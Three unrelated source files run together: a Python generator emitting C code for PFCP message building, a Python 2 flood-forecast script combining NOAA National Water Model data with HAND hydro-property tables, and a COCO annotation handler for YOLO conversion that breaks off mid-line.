PFCPMessageSourceFd.fprint(f'pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))}.presence = 1;') if i > 13: PFCPMessageSourceFd.fprint(f'_TlvParseMessage((unsigned long *)&pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))} + 1, &ieDescriptionTable[{msg} + 155 - 1], bufBlk->buf, bufBlk->len);') else: PFCPMessageSourceFd.fprint(f'_TlvParseMessage((unsigned long *)&pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))} + 1, &ieDescriptionTable[{msg}+155], bufBlk->buf, bufBlk->len);') PFCPMessageSourceFd.fprint('break;') PFCPMessageSourceFd.indent(-1) PFCPMessageSourceFd.indent(-2) PFCPMessageSourceFd.fprint(''' default: UTLT_Warning("Not implmented(type:%d)", &pfcpMessage->header.type); } return status; } int _TlvBuildMessage(Bufblk **bufBlkPtr, void *msg, IeDescription *ieDescription) { //UTLT_Warning("Addr : %p", msg); UTLT_Assert(bufBlkPtr, return 0, "buffer error"); UTLT_Assert(msg, return 0, "message error"); if (*(unsigned long *)msg == 0) { // present bit //UTLT_Warning("no ie"); return 0; } if (ieDescription->isTlvObj) { //UTLT_Info("TLV: type: %d, len: %d", ((TlvOctet *)msg)->type, ((TlvOctet *)msg)->len); //UTLT_Info("msgType: %d, msgLen: %d", ieDescription->msgType, ((TlvOctet *)msg)->len); int buffLen = sizeof(uint16_t) * 2 + ((TlvOctet *)msg)->len; *bufBlkPtr = BufblkAlloc(1, buffLen); uint16_t *tagPtr = (uint16_t *) ((*bufBlkPtr)->buf); uint16_t *lenPtr = &tagPtr[1]; (*bufBlkPtr)->len = buffLen; *tagPtr = htons(ieDescription->msgType); *lenPtr = htons(buffLen - sizeof(uint16_t) * 2); memcpy((void *) &tagPtr[2], ((TlvOctet *)msg)->value, ((TlvOctet *)msg)->len); } else { UTLT_Info("not TLV"); size_t idx; int msgPivot = 0; *bufBlkPtr = BufblkAlloc(1, sizeof(uint16_t) * 2); uint16_t *tagPtr = (*bufBlkPtr)->buf; uint16_t *lenPtr = &tagPtr[1]; (*bufBlkPtr)->len = sizeof(uint16_t) * 2; *tagPtr = htons(ieDescription->msgType); UTLT_Warning("Check addr: tag: %p, buf: %p", tagPtr, (*bufBlkPtr)->buf); UTLT_Info("msgType: %u, tagPtr value: %u, first type: %u", ieDescription->msgType, ((uint16_t*)tagPtr)[0],ntohs(((uint16_t*)(*bufBlkPtr)->buf)[0])); *lenPtr = htons(0); int bufOffset = 0; void *msgNoPresentPtr = &((unsigned long*)msg)[1]; for (idx = 0; idx < ieDescription->numToParse; ++idx) { Bufblk *tmpBufBlkPtr = NULL; bufOffset += _TlvBuildMessage(&tmpBufBlkPtr, &((uint8_t *)msgNoPresentPtr)[msgPivot], &ieDescriptionTable[ieDescription->next[idx]]); if (tmpBufBlkPtr == NULL) { msgPivot += ieDescriptionTable[ieDescription->next[idx]].msgLen; //UTLT_Info("TL type[%d], pivot %d", ieDescriptionTable[ieDescription->next[idx]].msgType, msgPivot); continue; } UTLT_Info("tmpBuf T: %u, L: %d", ntohs(((uint16_t *)tmpBufBlkPtr->buf)[0]), ntohs(((uint16_t *)tmpBufBlkPtr->buf)[1])); BufblkBuf(*bufBlkPtr, tmpBufBlkPtr); //UTLT_Warning("bufBlk len %d", (*bufBlkPtr)->buf); BufblkFree(tmpBufBlkPtr); msgPivot += ieDescriptionTable[ieDescription->next[idx]].msgLen; UTLT_Info("buff offset: %d, buff Len: %d", bufOffset, (*bufBlkPtr)->len); } *lenPtr = htons(bufOffset); } //UTLT_Warning("buf len: %d, first type: %d", (*bufBlkPtr)->len, ((uint16_t*)(*bufBlkPtr)->buf)[0]); return (*bufBlkPtr)->len; } void _PfcpBuildBody(Bufblk **bufBlkPtr, void *msg, IeDescription *ieDescription) { UTLT_Assert(bufBlkPtr, return, "buffer error"); UTLT_Assert(msg, return, "message error"); int idx; void *root = msg + sizeof(unsigned long); (*bufBlkPtr) = BufblkAlloc(1, 0); for (idx = 0; idx < ieDescription->numToParse; ++idx) { Bufblk *tmpBufBlkPtr; int rt = _TlvBuildMessage(&tmpBufBlkPtr, root, &ieDescriptionTable[ieDescription->next[idx]]); if (rt == 0) { root += ieDescriptionTable[ieDescription->next[idx]].msgLen; continue; } BufblkBuf(*bufBlkPtr, tmpBufBlkPtr); BufblkFree(tmpBufBlkPtr); root += ieDescriptionTable[ieDescription->next[idx]].msgLen; } } Status PfcpBuildMessage(Bufblk **bufBlkPtr, PfcpMessage *pfcpMessage) { Status status = STATUS_OK; UTLT_Assert(pfcpMessage, return STATUS_ERROR, "pfcpMessage error"); switch(pfcpMessage->header.type) {''') PFCPMessageSourceFd.indent(+2) for i, row in enumerate(ieTable.rows): if (i == 0 or i == 1 or i == 2): continue if row.cells[0].paragraphs[0].text.isdigit(): msg = snackCase(row.cells[1].paragraphs[0].text) if msg == "PFCP_VERSION_NOT_SUPPORTED_RESPONSE": PFCPMessageSourceFd.fprint(f'case {msg}:') PFCPMessageSourceFd.indent(+1) elif msg[:7] == "PFCPPFD": PFCPMessageSourceFd.fprint(f'case {msg}:') PFCPMessageSourceFd.indent(+1) PFCPMessageSourceFd.fprint(f'_PfcpBuildBody(bufBlkPtr, &pfcpMessage->{large2smallCamalCast("PFCPPFD"+snack2CamalCast(msg[8:]))}, &ieDescriptionTable[{msg} + 155]);') elif msg[5:10] == "HEART": PFCPMessageSourceFd.fprint(f'case {msg}:') PFCPMessageSourceFd.indent(+1) PFCPMessageSourceFd.fprint(f'_PfcpBuildBody(bufBlkPtr, &pfcpMessage->{large2smallCamalCast(snack2CamalCast(msg[5:]))}, &ieDescriptionTable[{msg} + 155]);') elif re.match("^PFCP_SESSION.*", msg) and not re.match("^PFCP_SESSION_SET.*", msg): PFCPMessageSourceFd.fprint(f'case {msg}:') PFCPMessageSourceFd.indent(+1) PFCPMessageSourceFd.fprint(f'_PfcpBuildBody(bufBlkPtr, &pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))}, &ieDescriptionTable[{msg} + 155 - (50-15) - 1]);') else: PFCPMessageSourceFd.fprint(f'case {msg}:') PFCPMessageSourceFd.indent(+1) if i > 13: PFCPMessageSourceFd.fprint(f'_PfcpBuildBody(bufBlkPtr, &pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))}, &ieDescriptionTable[{msg} + 155 - 1]);') else: PFCPMessageSourceFd.fprint(f'_PfcpBuildBody(bufBlkPtr, &pfcpMessage->{large2smallCamalCast("PFCP"+snack2CamalCast(msg[5:]))}, &ieDescriptionTable[{msg} + 155]);') PFCPMessageSourceFd.fprint('break;') PFCPMessageSourceFd.indent(-1) PFCPMessageSourceFd.indent(-2) PFCPMessageSourceFd.fprint(''' default: UTLT_Warning("Not implmented(type:%d)", &pfcpMessage->header.type); } return status; } ''')
python
## create flood forecast table for all the COMIDs on CONUS # Yan Y. Liu <[email protected]> # 10/31/2016 # input 1: the list of hydro property lookup table for each HUC6 code # input 2: NOAA NWM forecast data, one timestamp # input 3: NHDPlus MR geodb, for creating georeferenced anomaly shp files # output: an inundation table for all the COMIDs on CONUS as netcdf and csv import sys, os, string, time, re, getopt, glob, shutil, math import osr import netCDF4 import numpy as np from osgeo import gdal from osgeo import ogr import pandas as pd import xarray as xr from datetime import datetime import csv #import pytz # read input NOAA NWM netcdf file def readForecast(in_nc = None): global comids global Qs global h # open netcdf file rootgrp = netCDF4.Dataset(in_nc, 'r') intype='channel_rt' # metadata_dims = ['station'] # for old nwm format b4 05/2017 metadata_dims = ['feature_id'] dimsize = len(rootgrp.dimensions[metadata_dims[0]]) # num rows global_attrs={att:val for att,val in rootgrp.__dict__.iteritems()} timestamp_str=global_attrs['model_output_valid_time'] timestamp = datetime.strptime(timestamp_str, '%Y-%m-%d_%H:%M:%S') # read #timestamp.replace(tzinfo=pytz.UTC) # set timezone t = timestamp.strftime('%Y%m%d_%H%M%S') # reformat timestampe output init_timestamp_str=global_attrs['model_initialization_time'] init_timestamp = datetime.strptime(init_timestamp_str, '%Y-%m-%d_%H:%M:%S') # read init_t = init_timestamp.strftime('%Y%m%d_%H%M%S') # reformat timestampe output # create attr data for COMID and flowstream attr # comids_ref = rootgrp.variables['station_id'] # for old format b4 05/2017 comids_ref = rootgrp.variables['feature_id'] Qs_ref = rootgrp.variables['streamflow'] comids = np.copy(comids_ref) Qs = np.copy(Qs_ref) rootgrp.close() # close netcdf file to save memory # check for invalid Qfc negCount = 0 for i in range(Qs.size): if Qs[i] < 0.0: negCount += 1 print "readForecast(): Warning: read " + str(negCount) + " forecasts with negative value. Will skip these COMIDs." # create hash table h = dict.fromkeys(comids) for i in range(0, dimsize): h[comids[i]] = i print datetime.now().strftime("%Y-%m-%d %H:%M:%S : ") + " Loaded " + str(len(comids)) + " stations" sys.stdout.flush() return { 'timestamp': t, 'init_timestamp': init_t} # interpolate H forecast from the static H and Q table dervied from HAND # assuming the ascending order to stage heights for a COMID in CSV table def Hinterpolate(Qfc = 0.0, Hlist = [], Qlist = [], count = 0, comid = 0): if Qfc <= 0: return -9999.0 Q1 = None Q1i = 0 Q2 = None Q2i = 0 for i in range(0, count): # find two Qs that can interpolate H forecast if Qlist[i] < Qfc: # implicitly Q1 increases Q1 = Qlist[i] Q1i = i if Qlist[i] >= Qfc: Q2 = Qlist[i] Q2i = i break # linear interpolation if Q1 is None: # Qfc falls below the range of Qs return Hlist[0] if Q2 is None: # Qfc falls beyond the range of Qs Q1 = Qlist[count - 2] Q1i = count - 2 # count has to be >=2 Q2 = Qlist[count - 1] Q2i = count - 1 if Qlist[Q2i] < 0.00000001: # stage table is wrong return -9999.0 # can't predict if abs(Q2 - Q1) < 0.000001: print "WARNING: discharge data flat: count=" + str(count) + " Q1="+str(Q1)+" Q2="+str(Q2) + " Qfc=" + str(Qfc) return Hlist[Q2i] Hfc = (Qfc - Q1) * (Hlist[Q2i] - Hlist[Q1i]) / (Q2 - Q1) + Hlist[Q1i] if Hfc > 25.0: # debug print "DEBUG: irregular Hfc: comid=" + str(comid) + " Hfc=" + str(Hfc) + " Qfc=" + str(Qfc) + " Q1=" + str(Q1) + " Q2=" + str(Q2) + " H1=" +str(Hlist[Q1i]) + " H2=" +str(Hlist[Q2i]) + " Q1i=" + str(Q1i) + " Q2i=" + str(Q2i) return Hfc def updateH(comid = 0, fccount = 0, count = 0, numHeights = 83, h = None, Qs = None, Hlist = None, Qlist = None, comidlist = None, Hfclist = None, Qfclist = None): if count != numHeights: print "Warning: COMID " + str(comid) + " has <" + str(numHeights) + " rows on hydroprop table" j = h[comid] Qfc = Qs[j] if Qfc > 0.0: Hfc = Hinterpolate(Qfc, Hlist, Qlist, count, comid) if Hfc > 0.0: comidlist[fccount] = comid Hfclist[fccount] = Hfc Qfclist[fccount] = Qfc return 1 return 0 def forecastH (init_timestr = None, timestr = None, tablelist = None, numHeights = 83, huclist = None, odir = None, nhddbpath = None): global comids global Qs global h global comidlist global Qfclist global Hfclist global fccount comidlist = np.zeros(len(comids), dtype='int64') Hfclist = np.zeros(len(comids), dtype='float64') Qfclist = np.zeros(len(comids), dtype='float64') fccount = 0 missings = 0 # in hydro table but not in station hash nulls = 0 # null values that are not interpolated catchcount = 0 # count of catchments in hydro table for i in range(0, len(tablelist)): # scan each HUC's hydro prop table hpfile = tablelist[i] hpdata = None colcatchid = None # memory to store CatchId column colH = None # memory to store Stage column colQ = None # memory to store Discharge (m3s-1)/Discharge column filetype = hpfile.split('.')[-1] print hpfile + " +++++++ " + filetype if filetype == 'csv': hpdata = pd.read_csv(hpfile) colcatchid = np.copy(hpdata['CatchId']) colH = np.copy(hpdata['Stage']) colQ = np.copy(hpdata['Discharge (m3s-1)']) elif filetype == 'nc': hpdata = netCDF4.Dataset(hpfile, 'r') colcatchid = np.copy(hpdata.variables['CatchId']) colH = np.copy(hpdata.variables['Stage']) colQ = np.copy(hpdata.variables['Discharge']) #TODO: error handling on unsupported file formats catchcount += (colcatchid.size / numHeights ) print datetime.now().strftime("%Y-%m-%d %H:%M:%S : ") + hpfile + " : " + str(colcatchid.size) + " rows " sys.stdout.flush() comid = None count = 0 Hlist = np.zeros(numHeights, dtype = 'float64') Qlist = np.zeros(numHeights, dtype = 'float64') #for index, row in csvdata.iterrows(): # loop each row of the table for i in range(colcatchid.size): catchid = int(colcatchid[i]) # get comid if not catchid in h: # hydro table doesn't have info for this comid missings += 1 continue if comid is None: # first iteration in the loop comid = catchid if comid != catchid : # time to interpolate updated = updateH(comid, fccount, count, numHeights, h, Qs, Hlist, Qlist, comidlist, Hfclist, Qfclist) if updated == 1: fccount += 1 else: nulls += 1 count = 0 comid = catchid Hlist.fill(0) Qlist.fill(0) Hlist[count] = colH[i] Qlist[count] = colQ[i] count += 1 # update the last comid if comid > 0: updated = updateH(comid, fccount, count, numHeights, h, Qs, Hlist, Qlist, comidlist, Hfclist, Qfclist) if updated == 1: fccount += 1 else: nulls += 1 print datetime.now().strftime("%Y-%m-%d %H:%M:%S : ") + "Read " + str(len(comids)) + " stations from NWM, " + str(catchcount) + " catchments from hydro table. " + str(missings / numHeights) + " comids in hydro table but not in NWM. " + str(nulls) + " comids null and skipped. " + str(fccount) + " forecasts generated." sys.stdout.flush() # save forecast output saveForecast(init_timestr, timestr, odir) # save anomaly shp files if not nhddbpath is None and os.path.isdir(nhddbpath): anomalyMethod='linearrate' # anomalyMethod='lograte' createAnomalyMap(anomalyMethod, anomalyThreshold = 2.5, filterThreshold = 3.703703, NHDDBPath = nhddbpath, NHDLayerName = 'Flowline', odir=odir) def saveForecast(init_timestr = None, timestr = None, odir = None): global comidlist global Qfclist global Hfclist global fccount # save to netcdf xds = xr.Dataset({ 'COMID': (['index'], comidlist[:fccount]), # 'Time': (['index'], [timestr for i in range(fccount)]), 'H': (['index'], Hfclist[:fccount]), 'Q': (['index'], Qfclist[:fccount]) }) xds.attrs = { 'Subject': 'Inundation table derived from HAND and NOAA NWM for CONUS', 'Initialization_Timestamp': init_timestr, 'Timestamp': timestr, 'Description': 'Inundation lookup table for all the COMIDs in CONUS through the aggregation of HUC6-level hydro property tables and NOAA NWM forecast netcdf on channel_rt' } xds['COMID'].attrs = { 'units': 'index', 'long_name': 'Catchment ID (COMID)'} xds['H'].attrs = { 'units': 'm', 'long_name': 'Inundation height forecast'} xds['Q'].attrs = { 'units': 'm3s-1', 'long_name': 'Inundation discharge forecast'} ofilename = 'inun-hq-table-at-' + init_timestr + '-for-' + timestr ofilenetcdf = odir + '/' + ofilename + '.nc' ofilecsv = odir + '/' + ofilename + '.csv' print datetime.now().strftime("%Y-%m-%d %H:%M:%S : ") + "Writing netcdf output " + ofilenetcdf sys.stdout.flush() xds.to_netcdf(ofilenetcdf) print datetime.now().strftime("%Y-%m-%d %H:%M:%S : ") + "Writing csv output " + ofilecsv sys.stdout.flush() with open(ofilecsv, 'wb') as ofcsv: ow = csv.writer(ofcsv, delimiter = ',') # ow.writerow(['COMID', 'Time', 'H', 'Q']) # header ow.writerow(['COMID', 'H', 'Q']) # header for i in range(fccount): # ow.writerow([comidlist[i], timestr, Hfclist[i], Qfclist[i]]) ow.writerow([comidlist[i], Hfclist[i], Qfclist[i]]) print datetime.now().strftime("%Y-%m-%d %H:%M:%S : ") + "DONE" sys.stdout.flush() def createAnomalyMap(anomalyMethod='linearrate', anomalyThreshold = 2.5, filterThreshold = 3.703703, NHDDBPath = None, NHDLayerName = None, odir=None): global comidlist global Qfclist global Hfclist global fccount global h # reuse h; reset first # create comid hash for forecast output h = None h = dict.fromkeys(comidlist) for i in range(0, fccount): h[comidlist[i]] = i # open NHDPlus MR to scan each flowline only once ds = gdal.OpenEx( NHDDBPath, gdal.OF_VECTOR | gdal.OF_READONLY) if ds is None : print "createAnomalyMap(): ERROR Open failed: " + str(NHDDBPath) + "\n" sys.exit( 1 ) lyr = ds.GetLayerByName( NHDLayerName ) if lyr is None : print "createAnomalyMap(): ERROR fetch layer: " + str(NHDLayerName) + "\n" sys.exit( 1 ) lyr.ResetReading() num_records = lyr.GetFeatureCount() lyr_defn = lyr.GetLayerDefn() srs = lyr.GetSpatialRef() geomType = lyr.GetGeomType() # get index of attributes to be extracted fi_comid = lyr_defn.GetFieldIndex('COMID') fdef_comid = lyr_defn.GetFieldDefn(fi_comid) fi_huc = lyr_defn.GetFieldIndex('REACHCODE') fdef_huc = lyr_defn.GetFieldDefn(fi_huc) fi_meanflow = lyr_defn.GetFieldIndex('Q0001E') fdef_meanflow = lyr_defn.GetFieldDefn(fi_meanflow) # create output shp driverName = "ESRI Shapefile" ofilename = 'anomalymap-at-' + init_timestr + '-for-' + timestr of = odir + '/' + ofilename + '.shp' drv = gdal.GetDriverByName( driverName ) if drv is None: print "createAnomalyMap(): ERROR %s driver not available.\n" % driverName sys.exit( 1 ) ods = drv.Create( of, 0, 0, 0, gdal.GDT_Unknown ) if ods is None: print "createAnomalyMap(): ERROR Creation of output file failed: "+of+ "\n" sys.exit( 1 ) olyr = ods.CreateLayer('anomalymap', srs, geomType) if olyr is None: print "createAnomalyMap(): ERROR Layer creation failed: anomalymap "+ "\n" sys.exit( 1 ) # create fields ofdef_comid = ogr.FieldDefn( "COMID", ogr.OFTInteger) ofdef_H = ogr.FieldDefn( "H", ogr.OFTReal) ofdef_Q = ogr.FieldDefn( "Q", ogr.OFTReal) ofdef_rating = ogr.FieldDefn( "RATING", ogr.OFTReal) if olyr.CreateField ( ofdef_comid ) != 0 or olyr.CreateField ( fdef_huc ) != 0 or olyr.CreateField ( ofdef_Q ) != 0 or olyr.CreateField ( fdef_meanflow ) != 0 or olyr.CreateField ( ofdef_rating ) != 0 or olyr.CreateField ( ofdef_H ) != 0 : print "createAnomalyMap(): ERROR Creating fields in output .\n" sys.exit( 1 ) # get integer index to speed up the loops olyr_defn = olyr.GetLayerDefn() ofi_comid = olyr_defn.GetFieldIndex('COMID') ofi_huc = olyr_defn.GetFieldIndex('REACHCODE') ofi_Q = olyr_defn.GetFieldIndex('Q') ofi_meanflow = olyr_defn.GetFieldIndex('Q0001E') ofi_rating = olyr_defn.GetFieldIndex('RATING') ofi_H = olyr_defn.GetFieldIndex('H') count = 0 for f in lyr: # for each row. in NHDPlus MR, it's 2.67m comid = f.GetFieldAsInteger(fi_comid) if not comid in h: # comid has no forecast record continue i = h[comid] # index of this comid in Qfclist and Hfclist Qfc = Qfclist[i] meanflow = f.GetFieldAsDouble(fi_meanflow) rate = calcAnomalyRate(Qfc, meanflow, anomalyMethod, anomalyThreshold, filterThreshold) if rate < 0.00000001: # filter by rate diff continue # it is an anomaly, get it Hfc = Hfclist[i] huc = f.GetFieldAsString(fi_huc) # create feature and write to output fc = ogr.Feature( olyr_defn ) fc.SetField(ofi_comid, comid) fc.SetField(ofi_huc, huc) fc.SetField(ofi_Q, Qfc) fc.SetField(ofi_meanflow, meanflow) fc.SetField(ofi_rating, rate) fc.SetField(ofi_H, Hfc); # create geom field geom = f.GetGeometryRef() fc.SetGeometry( geom ) # this method makes a copy of geom if olyr.CreateFeature( fc ) != 0: print "createAnomalyMap(): ERROR Creating new feature in output for COMID=" + str(comid) + " .\n" sys.exit( 1 ) fc.Destroy() count += 1 ds = None ods = None print datetime.now().strftime("%Y-%m-%d %H:%M:%S : createAnomalyMap ") + " generated " + str(count) + " anomalies from " + str(fccount) + " forecast reaches" def calcAnomalyRate(Q = 0.0, meanflow = 0.00000001, anomalyMethod='linearrate', anomalyThreshold = 2.5, filterThreshold = 3.703703): #filterThreshold = 100.0 / 27 # 100cfs; 100/27 cms f2m = 3.28084 * 3.28084 * 3.28084 meanflow = meanflow / f2m if (Q - meanflow < filterThreshold): # absolute change is too small return 0 if anomalyMethod == 'linearrate': # Q / Qmean > 2.5 return Q - meanflow * anomalyThreshold else: # lograte: Q > Qmean^2.5 #return Q - meanflow * meanflow * math.sqrt(meanflow) return Q - math.pow(meanflow, anomalyThreshold) # global variables comids = None # COMID list from NWM forecast table Qs = None # Q forecast list (discharge) from NWM h = None # hash table for Q forecast lookup, indexed by COMID (station id) comidlist = None # COMID list, intersection of NWM forecast and hydroprop Qfclist = None # Q forecast Hfclist = None # H forecast fccount = 0 # length of the above three arrays ## software environment: ## . /gpfs_scratch/nfie/users/yanliu/forecast/softenv # python /projects/nfie/nfie-floodmap/test/forecast-table.py /gpfs_scratch/nfie/users/hydroprop/hydroprop-fulltable.nc /gpfs_scratch/nfie/users/yanliu/forecast/nwm.t00z.short_range.channel_rt.f001.conus.nc /gpfs_scratch/nfie/users/hydroprop # python /projects/nfie/nfie-floodmap/test/forecast-table.py /gpfs_scratch/nfie/users/HUC6 /gpfs_scratch/nfie/users/yanliu/forecast/nwm.t00z.short_range.channel_rt.f001.conus.nc /gpfs_scratch/nfie/users/hydroprop ## forecast table test: # python /projects/nfie/nfie-floodmap/test/forecast-table.py /gpfs_scratch/nfie/users/yanliu/forecast/test /gpfs_scratch/nfie/users/yanliu/forecast/nwm.t00z.short_range.channel_rt.f001.conus.nc /gpfs_scratch/nfie/users/yanliu/forecast/test ## anomaly map shp test: # python /projects/nfie/nfie-floodmap/test/forecast-table.py /gpfs_scratch/nfie/users/yanliu/forecast/test /gpfs_scratch/nfie/users/yanliu/forecast/nwm.t10z.short_range.channel_rt.f010.conus.nc /gpfs_scratch/nfie/users/yanliu/forecast/test/anomaly /gpfs_scratch/usgs/nhd/NFIEGeoNational.gdb ## worst-scenario anomaly test: # python /projects/nfie/nfie-floodmap/test/forecast-nwm-worst.py /projects/nfie/houston_20170119 "nwm.t10z.short_range.channel_rt.f001.conus.nc nwm.t10z.short_range.channel_rt.f002.conus.nc nwm.t10z.short_range.channel_rt.f003.conus.nc nwm.t10z.short_range.channel_rt.f004.conus.nc nwm.t10z.short_range.channel_rt.f005.conus.nc nwm.t10z.short_range.channel_rt.f006.conus.nc nwm.t10z.short_range.channel_rt.f007.conus.nc nwm.t10z.short_range.channel_rt.f008.conus.nc nwm.t10z.short_range.channel_rt.f009.conus.nc nwm.t10z.short_range.channel_rt.f010.conus.nc nwm.t10z.short_range.channel_rt.f011.conus.nc nwm.t10z.short_range.channel_rt.f012.conus.nc nwm.t10z.short_range.channel_rt.f013.conus.nc nwm.t10z.short_range.channel_rt.f014.conus.nc nwm.t10z.short_range.channel_rt.f015.conus.nc" ./20170119.nwm.t10z.short_range.channel_rt.worstscenario.conus.nc # python /projects/nfie/nfie-floodmap/test/forecast-table.py /gpfs_scratch/nfie/users/yanliu/forecast/test ./20170119.nwm.t10z.short_range.channel_rt.worstscenario.conus.nc /gpfs_scratch/nfie/users/yanliu/forecast/test/anomaly/worstscenario /gpfs_scratch/usgs/nhd/NFIEGeoNational.gdb if __name__ == '__main__': hpinput = sys.argv[1] # hydro property file root dir fcfile = sys.argv[2] # NOAA NWM forecast netcdf path odir = sys.argv[3] # output netcdf path, directory must exist nhddbpath = '' if len(sys.argv) > 4: nhddbpath = sys.argv[4] # nhdplus mr filegdb path tobj = readForecast(fcfile) # read forecast, set up hash table timestr = tobj['timestamp'] init_timestr = tobj['init_timestamp'] huclist = [] tablelist = [] if os.path.isdir(hpinput): tabledir = hpinput # read dir list wildcard = os.path.join(tabledir, '*') dlist = glob.glob(wildcard) count = 0 for d in dlist: if not os.path.isdir(d): continue hucid = os.path.basename(d) csvfile = d+'/'+'hydroprop-fulltable-'+hucid+'.csv' if not os.path.isfile(csvfile): continue tablelist += [ csvfile ] huclist += [ hucid ] count +=1 else: # single netcdf file tablelist += [hpinput] count = 1 print str(count) + " hydro property tables will be read." sys.stdout.flush() forecastH(init_timestr, timestr, tablelist, 83, huclist, odir, nhddbpath)
python
""" COCOPanda :: Trash Panda COCO Data Manipulation The goal of this package is to convert the COCO dataset into the Trash Panda YOLO format (nested class directories). The code in this file is based on: - The official COCO Python API: pycocotools - https://github.com/cocodataset/cocoapi/blob/master/PythonAPI/pycocotools/coco.py - License information can be found in `license.txt` - ssaru/convert2Yolo - https://github.com/ssaru/convert2Yolo/ """ from collections import defaultdict import json import os import sys import time import numpy as np import copy import itertools from pycocotools.coco import COCO def _is_array_like(obj): return hasattr(obj, "__iter__") and hasattr(obj, "__len__") def print_progress_bar( iteration, total, prefix="", suffix="", decimals=1, length=100, fill="█" ): """Call in a loop to create terminal progress bar @params: iteration - Required : current iteration (Int) total - Required : total iterations (Int) prefix - Optional : prefix string (Str) suffix - Optional : suffix string (Str) decimals - Optional : positive number of decimals in percent complete (Int) length - Optional : character length of bar (Int) fill - Optional : bar fill character (Str) """ percent = ("{0:." + str(decimals) + "f}").format(100 * (iteration / float(total))) filled_length = int(length * iteration // total) bar = fill * filled_length + "-" * (length - filled_length) print( "\r%s|%s| %s%% (%s/%s) %s" % (prefix, bar, percent, iteration, total, suffix), end="\r", ) # Print New Line on Complete if iteration == total: print("\n") class Coco: def __init__(self, json_path=None): """Constructor of handler class for the COCO dataset format. :param json_path (str) : Location of annotation file (json) """ # === Load dataset === # # Set up base variables as dictionaries self.dataset, self.annos, self.cats, self.imgs = {}, {}, {}, {} # Initialize index data structures as `defaultdict` self.img_to_annos, self.cat_to_imgs = defaultdict(list), defaultdict(list) if json_path: print("Loading annotations into memory...") tic = time.time() with open(json_path, "r") as jsf: dataset = json.load(jsf) # Load json and confirm format is correct assert ( type(dataset) == dict ), f"File format {type(dataset)} not supported." print(f"Done (t = {time.time() - tic:0.2f}s)") self.dataset = dataset self.create_index() def create_index(self): """Creates an index between images and classes, and images and annotations.""" print("Creating index...") annos, cats, imgs = {}, {}, {} img_to_annos, cat_to_imgs = defaultdict(list), defaultdict(list) if "annotations" in self.dataset: for anno in self.dataset["annotations"]: # For each annotation, add index on image_id # Each image_id will then have a list of its corresponding annotations img_to_annos[anno["image_id"]].append(anno) annos[anno["id"]] = anno # anno lookup by anno_id if "images" in self.dataset: for img in self.dataset["images"]: imgs[img["id"]] = img # image lookup by image_id if "categories" in self.dataset: for cat in self.dataset["categories"]: cats[cat["id"]] = cat # cat lookup by cat_id if "annotations" in self.dataset and "categories" in self.dataset: for anno in self.dataset["annotations"]: # Create list of images within each class cat_to_imgs[anno["category_id"]].append(anno["image_id"]) print("Index created!") # Set up class data structures self.annos = annos self.imgs = imgs self.cats = cats self.img_to_annos = img_to_annos self.cat_to_imgs = cat_to_imgs def info(self): """Print info about the annotation file.""" for key, value in self.dataset["info"].items(): print(f"{key}: {value}") def get_cat_dict(self): """Get category dictionary of {name: id}. :param coco_api (CoCo) : Instance of CoCo handler class. :return cat_dict (dict) : Dictionary of {cat_name: cat_id}. """ cats = self.load_cats(self.get_cat_ids()) return {cat["name"]: cat["id"] for cat in cats} def get_anno_ids(self, img_ids=[], cat_ids=[], iscrowd=None): """Get ann ids that satisfy given filter conditions. default skips that filter :param img_ids (int array) : get annos for given imgs :param cat_ids (int array) : get annos for given cats :param iscrowd (boolean) : get annos for given crowd label (False or True) :return: ids (int array) : integer array of ann ids """ # Always start with arrays img_ids = img_ids if _is_array_like(img_ids) else [img_ids] cat_ids = cat_ids if _is_array_like(cat_ids) else [cat_ids] # If nothing is passed, return entire list of annotations if len(img_ids) == len(cat_ids) == 0: annos = self.dataset["annotations"] else: # If image_ids are passed, create list of annos for each if len(img_ids) > 0: lists = [ self.img_to_annos[img_id] for img_id in img_ids if img_id in self.img_to_annos ] annos = list(itertools.chain.from_iterable(lists)) else: annos = self.dataset["annotations"] annos = ( annos if len(cat_ids) == 0 else [anno for anno in annos if anno["category_id"] in cat_ids] ) if iscrowd: ids = [anno["id"] for anno in annos if anno["iscrowd"] == iscrowd] else: ids = [anno["id"] for anno in annos] return ids def get_cat_ids(self, cat_names=[], super_cats=[], cat_ids=[]): """Filtering parameters. default skips that filter. :param cat_names (str array) : get cats for given cat names :param super_cats (str array) : get cats for given supercategory names :param cat_ids (int array) : get cats for given cat ids :return: ids (int array) : integer array of cat ids """ # Once again, be sure they are always arrays cat_names = cat_names if _is_array_like(cat_names) else [cat_names] super_cats = super_cats if _is_array_like(super_cats) else [super_cats] cat_ids = cat_ids if _is_array_like(cat_ids) else [cat_ids] if len(cat_names) == len(super_cats) == len(cat_ids) == 0: cats = self.dataset["categories"] else: # If list of cats is passed, get list of ids cats = self.dataset["categories"] cats = ( cats if len(cat_names) == 0 else [cat for cat in cats if cat["name"] in cat_names] ) # If supercategories is passed, get list of cats within cats = ( cats if len(super_cats) == 0 else [cat for cat in cats if cat["supercategory"] in super_cats] ) cats = ( cats if len(cat_ids) == 0 else [cat for cat in cats if cat["id"] in cat_ids] ) ids = [cat["id"] for cat in cats] return ids def get_img_ids(self, img_ids=[], cat_ids=[]): """Get img ids that satisfy given filter conditions. :param img_ids (int array) : get imgs for given ids :param cat_ids (int array) : get imgs with all given cats :return: ids (int array) : integer array of img ids """ # Always use arrays img_ids = img_ids if _is_array_like(img_ids) else [img_ids] cat_ids = cat_ids if _is_array_like(cat_ids) else [cat_ids] if len(img_ids) == len(cat_ids) == 0: ids = self.imgs.keys() else: ids = set(img_ids) for i, cat_id in enumerate(cat_ids): if i == 0 and len(ids) == 0: ids = set(self.cat_to_imgs[cat_id]) else: ids &= set(self.cat_to_imgs[cat_id]) return list(ids) def get_img_ids_from_cats(self, img_ids=[], cat_ids=[]): """Get img_ids that fall into *any* of the cat_ids. :param cat_ids (int array) : get imgs with all given cats :return: ids (int array) : integer array of img ids """ # Always use arrays img_ids = img_ids if _is_array_like(img_ids) else [img_ids] cat_ids = cat_ids if _is_array_like(cat_ids) else [cat_ids] if len(img_ids) == len(cat_ids) == 0: ids = self.imgs.keys() else: ids = set(img_ids) for i, cat_id in enumerate(cat_ids): if i == 0 and len(ids) == 0: ids = set(self.cat_to_imgs[cat_id]) else: ids |= 